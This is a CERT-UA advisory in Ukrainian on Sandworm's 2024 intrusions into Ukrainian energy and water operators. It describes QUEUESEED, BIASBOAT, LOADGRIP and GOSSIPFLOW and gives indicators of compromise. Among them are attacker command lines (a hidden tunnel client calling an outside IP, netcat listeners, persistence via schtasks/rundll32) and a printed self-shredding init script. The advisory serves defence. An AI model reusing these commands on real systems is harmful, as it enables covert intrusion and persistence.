CERT-UA

Archived: 2026-04-05 14:37:45 UTC

Загальна інформація

Урядовою командою реагування на комп'ютерні надзвичайні події України CERT-UA в березні 2024 року розкрито зловмисний задум угрупування Sandworm, спрямований на порушення сталого функціонування інформаційно-комунікаційних систем (ІКС) близько двадцяти підприємств галузі енергетики, водо та теплопостачання (ОКІ) у десяти регіонах України.

Під час вжиття невідкладних заходів з реагування на інциденти, окрім відомого з 2022 року бекдору QUEUESEED (KNUCKLETOUCH, ICYWELL, WRONGSENS, KAPEKA), виявлено новий інструментарій зловмисників, а саме, шкідливі програми LOADGRIP та BIASBOAT (Linux-варіант QUEUESEED), які було встановлено на ЕОМ (ОС Linux), що призначені для автоматизації процесів управління технологічними процесами (АСУТП) з використанням спеціалізованого програмного забезпечення (СПЗ) вітчизняного виробництва. Слід звернути увагу, що BIASBOAT було представлено у вигляді шифрованого під конкретний сервер файлу, для чого зловмисники використовували заздалегідь отримане значення "machine-id".

Фахівцями CERT-UA підтверджено факти компрометації, щонайменше, трьох "ланцюгів постачання", у зв'язку з чим обставини первинного несанкціонованого доступу або корелюють зі встановленням СПЗ, що містило програмні закладки та вразливості, або спричинені штатною технічною можливістю співробітників постачальника отримувати доступ до ІКС організацій для супроводження та технічної підтримки.

Зважаючи на функціонування ЕОМ з СПЗ в межах ІКС ОКІ, зловмисники використовували їх для горизонтального переміщення та розвитку кібератаки у відношенні корпоративних мереж підприємств. Для прикладу, на таких ЕОМ в каталогах з СПЗ було виявлено заздалегідь створений PHP-вебшелл WEEVELY, PHP-тунель REGEORG.NEO або PIVOTNACCI.

У період з 07.03.2024 по 15.03.2024 фахівцями CERT-UA вжито заходів з інформування всіх ідентифікованих підприємств та дослідження і протидії кіберзагрозам у відповідних ІКС, в рамках чого встановлено обставини первинної компрометації, вилучено та проаналізовано шкідливе програмне забезпечення, побудовано хронологію подій інциденту, надано сприяння в налаштуванні серверного та активного мережевого обладнання, а також встановлено технологію захисту (на деяких підприємствах LOADGRIP/BIASBOAT було створено у 2023 році).

Слід підкреслити, що на ЕОМ під управлінням ОС Windows зловмисниками використовувалося шкідливе програмне забезпечення QUEUESEED та GOSSIPFLOW, яке відстежується з 2022 року в контексті деструктивних кібератак угрупування UAC-0133 на об'єкти водопостачання, зокрема, з використанням SDELETE. Таким чином, з високим рівнем впевненості UAC-0133 є субкластером UAC-0002 (Sandworm/APT44).

Зауважимо, що реалізації кібератак сприяли такі фактори:

- не коректна сегментація (відсутність ізоляції) серверів з СПЗ постачальників, що використовуються як елемент АСУТП, в контексті як обмеження доступу з/до мережі Інтернет, так й ІКС самих організацій, в межах яких вони функціонують
- халатне ставлення постачальників до безпеки програмного забезпечення, що надається споживачам; зокрема, під час поверхневого аналізу вихідного коду буде виявлено банальні вразливості, що дозволяють здійснювати віддалене виконання коду (RCE).

CERT-UA припускає, що несанкціонований доступ до ІКС значної кількості об'єктів тепло, водо та енерго постачання мав бути використаний для підсилення ефекту від ракетних ударів по інфраструктурним об'єктам України навесні 2024 року.

QUEUESEED - шкідлива програма, розроблена з використанням мови програмування C++. Отримує базову інформацію про ЕОМ (ОС, мова, ім'я користувача), виконує отримані з серверу управління команди та надсилає результат. Функції: читання/запис файлів, виконання команд (як окремий процес, або через %COMSPEC% /c), оновлення конфігурації, самовидалення. Для взаємодії з сервером управління використовується HTTPS. Дані передаються в JSON-форматі та шифруються за допомогою RSA+AES. Конфігураційний файл бекдору, який, зокрема, містить URL-адресу серверу управління, шифрується за допомогою AES (ключ статично задано в програмі). Імплементовано чергу неопрацьованих вхідних команд/результатів - зберігається в реєстрі Windows в AES-шифрованому вигляді (як ключ використовується значення %MACHINEGUID%). Персистентність бекдору забезпечується дропером, який створює відповідне заплановане завдання або запис в гілці "Run" реєстру Windows.

BIASBOAT - шкідлива програма (ELF), розроблена з використанням мови програмування C, є Linux-варіантом QUEUESEED. Запуск на ЕОМ здійснюється за допомогою інжектору LOADGRIP.

LOADGRIP - шкідлива програма (ELF), розроблена з використанням мови програмування C. Основний функціонал - запуск пейлоаду шляхом інжектування з використанням API ptrace. Пейлоад, зазвичай, представлено в шифрованому вигляді (AES128-CBC), а ключ для його розшифрування формується на основні статично зазначеної в коді константи та значення "machine-id" ЕОМ.

GOSSIPFLOW - шкідлива програма, розроблена з використанням мови програмування Go. Забезпечує побудову тунелю (використовує бібліотеку-мультиплексор Yamux) та виконує функціонал SOCKS5 проксі.

Окрім згаданих програмних засобів реалізації кіберзагроз угрупуванням також застосовувалися, але не виключно:

- CHISEL
- LIBPROCESSHIDER
- JUICYPOTATONG
- ROTTENPOTATONG

Індикатори кіберзагроз

Файли:

```
4d45d7b60c10c66977f1a593aa36cea7    e165c210a6d7366e2c78e5371d02e3345c25fb75393b7d7e9dc9a8fa737e74d4
d58153d94e6b9b331ad2b0f0ce51743a    744364ea94245c26aabfdedc4a6fae2e2d188fbe3c851f439b27ed8a9084a9d1
9ddb6f9dca2d946de295d40af0f35948    350ee0a029eae1d4e4c3d9131a1b32071db9a735326022a565685a9f1521ab73
6b0b5c00362339fc5a912eae413b7f1f    c13270594f873bb188f893f307d1ec94aa21ee4c3b90301e168eec3a21a055ca
1938a3545517650824657fd09ce4ee16    602dbcf4008c585582d5e5d5c8ddb1932fdee07a14308e9cbf937904f31df1f7
cf85ceea940ae5f2cc0ee0a9fc23d5c8    ce85f5bcd52c79582a66bc7ef3f11f4ac74e9cc9962551b5912ac6bfa78ea841
a048daae363e6cbe9a191d7189733ea4    6ea79c94ed790093341b1a479eb31bdf7368e3c891501aa2ce18acc71b318c96
691c1fb1a80f1d4c502753d656e72c32    ccb9edfa233328c3351bd3a46fec037aeb27b3a74779c2bbb738e9e108c33e76
50b5582904fe34451f5cb2362e11cb24    bd07fb1e9b4768e7202de6cc454c78c6891270af02085c51fce5539db1386c3f
5294aaf2ff80547172ebb9e0bcb52e0f    f30b9f6e913798ca52154c88725ee262a7bf92fe7caac1ae2e5147e457b9b08a
58504fc65456f2d932173446e15b1799    8685a79ff9e0b1b4a6372c6cd1cafcc9c72e12b83f782466f17c350f2d12184a
12b4ee7b8a55046520dd1e1dd388bf47    4571860df3a7c8f67db93bd038c1847ddda5ef4b0b23e631d814778ab7a5d549
fb9e2fc411c17160b97ab5abfcef7c55    8369d112dc42151ceb3aaa6eca96fb66a08e631a2f18860d716a0604a80da76c
963ea514ef1b047e99cc90503f16b2c5    4e6582b8ff2fb2e91cc31de2f4ed4f72ef7ac52845d4dbfabf36081d849bba64
b80d7cb828535ec1ef6e27e5d5f2d2cd    5fdb577b5ce71c42032c77cf41b3a4478726dff5a234abd0a26ff0bdd42e4ef9
97608532187c8df1abb17156e4d99ee2    4a4dde90762accb8d61caad9923f1473c6d8ee493c7dc6c482dfd52c9f8fc2f5
9769f67f2189ac32307600a2387e28f7    3f5044eb9f2ae3f46d6b64d56e3a37248ea21a340d4cbb42ba8a809f7c75824b
09fe0ab36d7c16108456c60eb56a09c7    d3f97c3df60da89fc68c722140b6a6c9cc8bfc27ac3e442b5fdcfdfcdbd34e87
cdacfee7c1122983c9394de44493c542    459c676115ad0e363697fda048e7f38c5fa5bb002e3dcdab98d7c93cb61948b3
48656739fe14c0d70f11f65f67f86de5    dc31de076eb9b2407bc4e7fa44216f906f0857271d71a2ea2fb6f35c96cd8f35
6993aa0b81fb20d706c00ecf764ce3f2    5557aea34234deb015d8e6c39ea2945bad6dd4e9dfe5278265c1183aa3942394
0d2363b184e35c0f005db9b40e2cd76c    2239aa7e5765b810009c73a43d6df5526c4c42c31e45d7ae181642dabe2c4d94
ca39a4125e48ce614b44fea879454a0f8    4e568242667c61a1551d3e5f3e42107c43db5d989647b333325d10840cd2d58e
ed7620864bd720c8cf79e63ec4e679d6    155cd259e21c1dc3b6978f528e9d13a55483336c5d3c12d5b801dca720f443b7
be43644bdf06e8b740ce31c82f4f8bb2    ff6c150364312afd54d37f891da02542756a8036698a0911ab8e32d4e0dea030
82f7464ec5921ab94656bd4bff58708f    feae0ab35affa24c52650c9da789cf214d4f7c37bdef3e4d0412feb4aaa3b4db
715fcd523ffceafb970679099b21c55e    270b478209df6ecdd54b4cd7fcba79d30647f83c98f0668795ece81b39d7c629
5ff34c5296a5b170ba86f5a9c1222fca    bdd7b08ab069c71877352e4cf7cf0e1e14b14ccffd3fb827a81ed6fc564ff99b
4e23243e3e2ce4d234034fe163d4d095    77c7db28deb338378367fd9d50e09cc2ef8d7143a11fd0f03eb1bab96e6411fa
f05aec3e7ea30b93ea11e3cc8b998ca5    9975cfa490c372012364c110a7f249d5c812b0afd84a38ed71821dc56c15b29f
5fad6d88dc503f59adfa767e11985ff1    01208ced0bd6bf8b72bbf09ec47ddb52014f56d31bf764184bb35134be873c62
3bee971f994f21779c3bc7e07f7029be    645821ba80859651cdb8c1c1f8129702a85503c62b0c3ce74f99d50214f67244
0b0f1f38f85827b4753c0cfc95ee9dc9    ea415d89592b55402c1ac66fa934bd31ec17456407ac4adb2e72f9bc6f5061af
2574bd88088e3437a183016e59302928    06584cc9f5bc80964b80220064dda52e822e81ad1d0053f4390ca1433c64971b
31d5165a9d83c3ea370c2cd262fbba6f    d5620b21a02934aafb2caeaec0f0472adac185f60fc06ee5e97c60cc5cec25ac
087e6a5bf9bafac4b5c7fcc0ab0201f1    9a76e608afca114f18e2b794e9a557b910f43e575c816019a49876188602c3aa
ea2161085f0c5a7a67ab245513ff5162    63939d3bd170846a95b124c09a4b6399ab1e790d0c2f407141de9265efc51ee9
3d7c4521233b9d9dd6a150c26b5fcc68    1800fcac02899d6d4d9f5f0b15a57a140abb29d6f4877f133d57b3e60eaf66c3
8ab0e9251fe39a6d9ef36d0548476654    1180d7a61dbf718f092b3f9dc63c32e1d0228b190c8c254563b6332cab9d7c0e
938f05807048a4e9b95bd4eee8c7c1a4    c3859810b9842daf129bc887e7b267ae70ba985387b1cea0fc62270c74c3d4a6
064c252bc5ee2395fb82aa7c0e599d3a    343e50eed373fa970545785eeace049ead8bd24a1062d6fcf589a629323532ca
fbe469cbe4c1a746619b0fad3c3647e7    d8cd22fc4ef77c1b19d189dcb1ced5db6ead68867c51a23deed3cb422ca4412a
bdb21d4397f8e76923d6635504a5ada4    a29944006225bb5cb0dacf597ef614cf947a8ac088cec90c954506b38ebdc28e
227b6198541178db566714c503dab36e    8a7b3a7a9a4e8b7fd45c94b56ac59f6e15b6560f692756cf6050342bea06a1b3
dee2d8477084747edf37026dade1a827    fa6439c50f2187da3c4c594f0e530376371841 67f3e55a7aa2766e8a3b7d55f0
7055dce07c716aa2429001dae97633fb    d436d509d00d89bf118f2f06bde24bdaaa03e083a514e11fbe000f4c2a81f136
```

```
3e9022ce46fdccab4e40d1e01a8addb4    f3280e61f7c810457b8c6741aa57bdceb1dd918d18f16d314761a49788665877
63ee45adf7d1fe4acd5b1632bbadd873    0d898a405e641797c42a1c39a22740462e3a5ebaa092199005f2b2e505bf5e42
b53e37e7a414872ec3d33d36c0bc1e81    09fb7feb2b209f79d5ffb855b63037ca8cd8449dd168199a23f15ca9f6a454ea
3eeebd90a6ea0d60b10eeac1da2d735c    335d36ba132c292c255c520f09a7eba9ff585d52486f259eff43989658727f4f
d597d341ade717dd73a443172458fc86    52faa381392c1a86b537096c2730de5aeab9be7512bde9536aef84857b19753e
d59c63ddb629773aded9c85e472d67e3    a97252c1a675d3c64dc806181e64f0a0e86914a540476b08cc578d94759ee082
c998ac471420f48ec121050068972d47    1dbb018010a79d869f9a3f61907f81e61e15a366efe7302e26d93946754cd311
b1c30d0f77386b42cefa8f10d0a98576    7cddf5eabb6e59b9901e6a68996413e3469f8c56b4da92cf24c18862221c3046
38f3f5ccb8906940282d0046583d318e    c4285344547b314c431ab6226612b2b14f62beb45c6feb91c8fcfa17d7031d98
cd439b12d10428db1d3365ea01361f48    e76f78c5afbd1d1a3fefa7a37d1737f9cb06197f4a6d6dd8f7b74f3978362a9f
9ca2c77a5c2f8401dfb67dab34b648cf    e6e1e231195f666e8807432f3992e7b1830a3a170229d679933042d3cc1246aa
0f359771ef52bf54b2196ce6f8a2642c    29c21a87bed19457f7f76e5f39c818ad563a2ddb203961bb2295263d8e875044
2cfc8ce15a56667074c4b0ca4a11d7f3    6ca881729c4610cb08f0f54fa1ff2ad9a0f56313da8ae5caa3746f8c1cd527b2
108dddf7f1bc10fafbdc6f11c26b4c5a    3c5e7c6da03c5f66d71332a34b3a1f57fed05d3de624f05dae50f7b14a4e44b3
7f1712c4102e4cfadd1c44d9b29f139d    807bfade291ab71c1bb47ef2c18a52d6db7b7546f28a421edf18ebeae5ad00aa
e64ec2535335ddd40e2fb53b53e5b5f9    e2551b76534f0646fccbffd01856948b8f440618afd2b17cda6a9ae59e8e28f7
7cf92e30acd55232a050fe1cf6eaf2be    27fe2d836d02a72e61b437b170f2ea6285579a6d443334d3cc2e27e77aa26b7f
4a7250531376bf48d06547d46a853d60    21897e25ace1e8b4da317cb3ba866a1e22b5211516454596f577cacb435f1455
233ceffbb3119df13ceb72f01077c998    622e355f8fe1756447a0cb47d4873a0f8ecb7d46d4705c425a4dc015050ad85b
f8cf05346cba3ccd0cdb28c44e8036a1    d8d3a1c24a12795f0c65509db8b40c26396a51d0dfa258b6fc317e8b2270c5a3
ed8b9d38fe272f2692b47292e74a0352    cca9accd3c1554703ab11eb9c10b146d9d8a84ea165450003200de1ebbc2ac4c
2c1397f61325d3ab7eee97124ed8dcfa    c237f1a3f75b2759f66ec741448bb352e95e186a9a689f87c8641b44a13d878b
88d7b461ac0c52f95a81090cf0903ebc    61b0246202707414da97911c0447eed70499e02285db9190a5842de748ae0bd1
```

Хостові:

```
/etc/init.d/crm.sh
/etc/init.d/[a-z]{3}.sh
/etc/rc.d/init.d/opf.sh
/etc/ld.so.preload
/run/systemd/generator.late/opf.service
/etc/init.d/.depend.startup
/etc/rc.d/init.d/.depend.start
/usr/local/etc/rc.d/.depend.start
/tmp/.env
/usr/local/lib/env.so
/usr/sbin/oscada
/var/lib/AccountsService/mex
/var/lib/Pegasus/bir
/var/lib/alternatives/xrr
/var/lib/apache2/ajh
/var/lib/apt/sdo
/var/lib/aspell/akc
/var/lib/certmonger/rgp
/var/lib/dictionaries-common/kkd
/var/lib/dictionaries-common/nzf
```

```
/var/lib/initramfs-tools/ijs
/var/lib/dnf/rgp
/var/lib/dpkg/eso
/var/lib/lcw
/var/lib/lws
/var/lib/net-snmp/rgp
/var/lib/nfs/bir
/var/lib/pam/qqa
/var/lib/php/rgp
/var/lib/samba/rgp
/var/lib/sss/xrr
/var/lib/systemd/bir
/var/lib/systemd/jpt
/var/lib/systemd/uoj
/var/lib/ubuntu-advantage/pml
/var/lib/ucf/ero
/var/lib/ucf/lox
/var/lib/ucf/riq
/var/lib/xml-core/jjh
/var/lib/aspell/akc -e /var/lib/dpkg/eso -h
/var/lib/dictionaries-common/kkd -e /var/lib/xml-core/jjh -h
/var/lib/dictionaries-common/lma -e /var/lib/doc-base/oat -h
/var/lib/dictionaries-common/nzf -e /var/lib/apache2/ajh -h
/var/lib/lcw -e /var/lib/lws -h
/var/lib/net-snmp/rgp -e /var/lib/nfs/bir -h
/var/lib/pam/sxw -e /var/lib/dictionaries-common/vjr -h
/var/lib/php/rgp -e /var/lib/Pegasus/bir -h
/var/lib/sss/xrr -e /var/lib/systemd/jpt -h
/var/lib/systemd/uoj -e /var/lib/initramfs-tools/ijs -h
/var/lib/ubuntu-advantage/pml -e /var/lib/pam/qqa -h
/var/lib/ucf/ero -e /var/lib/apt/lpq -h
/var/lib/ucf/lox -e /var/lib/apt/sdo -h
/var/lib/dls/706f64686a6a7669 (приклад шляху для конфігураційного файлу)
/var/lib/[a-z]{3}/[a-f0-9]{16}
/var/www/dokuwiki/inc/preload.php
/var/www/dokuwiki/main.php
/var/www/html/.back_devices_.php
/var/www/html/Scripts/export/jspdf/jspdf.php
/var/www/html/Users/Shared/Presets/_backup_dataform.php
/var/www/html/getformdate.php
/var/www/html/glpi/man.php
/var/www/html/glpi/pics/water.php
/var/www/html/meter.php
/var/www/html/report.php
/var/www/html/settings125.report.php
/var/www/main/.users.php
/var/www/main/Scripts/export/fexport.php
```

```
/var/www/main/getformdate.php
/var/www/modules/init.php
/var/www/modules/jobs.php
/var/www/veryimage.php
/var/tmp/sam.txt
/var/tmp/system.txt
%PROGRAMDATA%\Microsoft\hasuti.wll
%PROGRAMDATA%\fp.exe
%PROGRAMDATA%\jp.exe
%PROGRAMDATA%\k.bat
%PROGRAMDATA%\msd.exe
%PROGRAMDATA%\ntuser.exe.exe
%PROGRAMDATA%\r.bat
%PROGRAMDATA%\r1.bat
%PROGRAMDATA%\r2.bat
%PROGRAMDATA%\r3.bat
%PROGRAMDATA%\rp.exe
%PROGRAMDATA%\rs.exe
%PROGRAMDATA%\winbox64.exe
%PROGRAMDATA%a\ibmsmart.exe
%PROGRAMDATA%a\msrsts.doc
%PROGRAMDATA%a\ntuser.exe
C:\Windows\System32\Tasks\Microsoft\Windows\Sens Api
C:\Windows\System32\Tasks\Microsoft\Windows\OneDrive
C:\Windows\system32\rundll32.exe "%PROGRAMDATA%\Microsoft\hasuti.wll", #1
%PROGRAMDATA%\Microsoft\lunose.wll
%COMSPEC% /c %APPDATA%\pizi.bat
%COMSPEC% /c schtasks /create /sc ONSTART /tn "Sens Api" /f /np /tr %WINDIR%\system32\rundll32.exe %
D:\xampp\htdocs\msd.bat
D:\xampp\htdocs\postgis.php
D:\xampp\htdocs\r.exe
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\Sens Api
Global\BFE_Notify_Event_%PROFILEGUID%
HKCU\Software\Microsoft\Cryptography\Providers\%PROFILEGUID%\'Seed'
Start-Process -WindowStyle hidden "%PROGRAMDATA%a\ibmsmart.exe -c 185.153.199.43:50443
cmd /c start "" C:\Windows\system32\rundll32.exe "%PROGRAMDATA%\Microsoft\hasuti.wll", #1
nc -lnvp 7632
nc -lnvp 7633
oscada server -p 56743 --reverse &
taskkill /F /IM rp.exe
```

Мережеві:

```
185.38.150.8
165.231.34.106
178.250.188.114
```

```
185.225.114.90
193.189.100.203
194.61.121.211
195.154.182.165
196.245.156.154
196.245.156.34
88.80.145.239
91.92.137.6
5.45.75.45
5.45.74.11
195.154.166.87
185.153.199.43
91.92.137.164
https://185.38.150.8:443/star/key
http://178.250.188.114/ubuntu/focal
http://185.225.114.90/accept
http://194.61.121.211/application
http://195.154.182.165/checkhealth
http://196.245.156.154/map/title
http://91.92.137.164/json
https://165.231.34.106/users/me
https://178.250.188.114/ubuntu/focal
https://185.225.114.90/accept
https://194.61.121.211/application
https://195.154.182.165/checkhealth
https://196.245.156.154/map/title
https://91.92.137.164/json
```

Графічні зображення

```
<?xml version="1.0" encoding="UTF-16"?>
<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
  <RegistrationInfo>
    <Date>XXXX-XX-09T13:23:44</Date>
    <Author>SERVER\Администратор</Author>
    <URI>\Microsoft\Windows\OneDrive</URI>
  </RegistrationInfo>
  <Triggers>
    <BootTrigger>
      <StartBoundary>XXXX-XX-09T13:23:00</StartBoundary>
      <Enabled>true</Enabled>
    </BootTrigger>
  </Triggers>
  <Settings>
    <MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>
    <DisallowStartIfOnBatteries>true</DisallowStartIfOnBatteries>
    <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries>
    <AllowHardTerminate>true</AllowHardTerminate>
    <StartWhenAvailable>false</StartWhenAvailable>
    <RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>
    <IdleSettings>
      <Duration>PT10M</Duration>
      <WaitTimeout>PT1H</WaitTimeout>
      <StopOnIdleEnd>true</StopOnIdleEnd>
      <RestartOnIdle>false</RestartOnIdle>
    </IdleSettings>
    <AllowStartOnDemand>true</AllowStartOnDemand>
    <Enabled>true</Enabled>
    <Hidden>false</Hidden>
    <RunOnlyIfIdle>false</RunOnlyIfIdle>
    <WakeToRun>false</WakeToRun>
    <ExecutionTimeLimit>PT72H</ExecutionTimeLimit>
    <Priority>7</Priority>
  </Settings>
  <Actions Context="Author">
    <Exec>
      <Command>cmd</Command>
      <Arguments>/c start "" C:\Windows\system32\rundll32.exe "C:\ProgramData\Microsoft\hasuti.wll", #1</Arguments>
    </Exec>
  </Actions>
  <Principals>
    <Principal id="Author">
      <UserId>S-1-5-18</UserId>
      <RunLevel>LeastPrivilege</RunLevel>
    </Principal>
  </Principals>
</Task>
```

Рис.1 Приклад запланованого завдання для запуску QUEUESEED

```
#!/bin/sh
case "$1" in
start)
sleep 10
/var/lib/samba/rgp -e /var/lib/Pegasus/bir -h
if [ $? -ne 0 ]; then
for i in $(seq 2 5); do
unlink /etc/rc$i.d/S99opf
done
shred -uz $0
rm -f $0
fi
;;
esac
exit 0
```

Рис.2 Приклад BASH-скрипта для запуску LOADGRIP/BIASBOAT
